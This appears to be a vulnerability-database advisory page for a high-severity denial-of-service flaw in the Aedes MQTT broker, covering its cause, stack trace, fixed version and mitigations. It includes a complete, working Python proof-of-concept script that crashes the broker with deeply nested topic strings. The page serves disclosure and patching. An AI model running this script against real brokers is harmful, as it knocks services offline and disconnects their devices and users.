NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

Aedes has Uncaught Exception and Uncontrolled Resource ConsumptionGHSA-xxqp-5qx8-gj5q

HIGHFix: moscajs/aedes@b9024fa

GHSA-xxqp-5qx8-gj5q is a high-severity (CVSS 7.5) CWE-248 vulnerability in aedes. A fix is available for aedes — see the affected versions and patch details below.

Also known asCVE-2026-63341
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xxqp-5qx8-gj5q.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.29%0.58%0.86%0.4%0.4%Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦aedes

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.

Details

The Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.

This function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.

This vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.

Stack Trace from Crash:

aedes-broker  | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604
aedes-broker  | 	throw new Error('too many words');
aedes-broker  | 	^
aedes-broker  | 
aedes-broker  | Error: too many words
aedes-broker  |     at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)
aedes-broker  |     at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)
aedes-broker  |     at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)
aedes-broker  |     at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)
aedes-broker  |     at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)
aedes-broker  |     at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)

The same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.

PoC

Prerequisites

  • Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command:
docker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest
  • Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker's configuration).

Reproduction Steps

  1. Save the following Python stress testing script (mqtt_crash_poc.py):
#!/usr/bin/env python3
import argparse
import time
import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, reason_code, properties=None):
    if reason_code != 0:
        print(f"[-] Error en la conexión: {reason_code}")

def on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):
    if reason_code != 0:
        print(f"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}")

def run_exploit(host, port):
    # Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)
    payloads = [
            {"type": "PUB_DEEP", "topic": "a/" * 30000 + "target"},
            {"type": "PUB_LIMIT", "topic": "a/" * 32766 + "a/b"},
            {"type": "SUB_WILD", "topic": "+/" * 150 + "#", "pub": "A/" * 150 + "target"},
            {"type": "SUB_DEEP", "topic": "+/" * 10000 + "#", "pub": "A/" * 10000 + "target"}
    ]
        
    for case in payloads:
        print(f"\n[*] Lanzando vector de ataque tipo: {case['type']}")
        client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
        client.on_connect = on_connect
        client.on_disconnect = on_disconnect
            
        try:
            client.connect(host, port, keepalive=60)
            client.loop_start()
            time.sleep(1)
                
            if "PUB" in case['type']:
                client.publish(case['topic'], payload="DoS_Attack", qos=0)
            else:
                client.subscribe(case['topic'], qos=0)
                time.sleep(1)
                client.publish(case['pub'], payload="DoS_Attack", qos=0)
                    
            time.sleep(2)
        except Exception as e:
            print(f"[-] Error durante el envío: {e}")
        finally:
            client.loop_stop()
            client.disconnect()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--direccion", required=True, help="IP del broker")
    parser.add_argument("-p", "--puerto", type=int, default=1883, help="Puerto")
    args = parser.parse_args()
    run_exploit(args.direccion, args.puerto)
  1. Run the script against the target broker:python3 mqtt_crash_poc.py -d <BROKER_IP> -p 1883
  2. Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception.

Impact

This is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmaedesall versions1.1.1npm install aedes@1.1.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for aedes, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update aedes to 1.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xxqp-5qx8-gj5q is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application. ### Details The Aedes broker fails to enforce limits on the depth or structur
O3 Security · Impact-Aware SCA

Is GHSA-xxqp-5qx8-gj5q in your dependencies?

Find it across npm, including transitive dependencies.

Aedes has Uncaught Exception and Uncontrolled…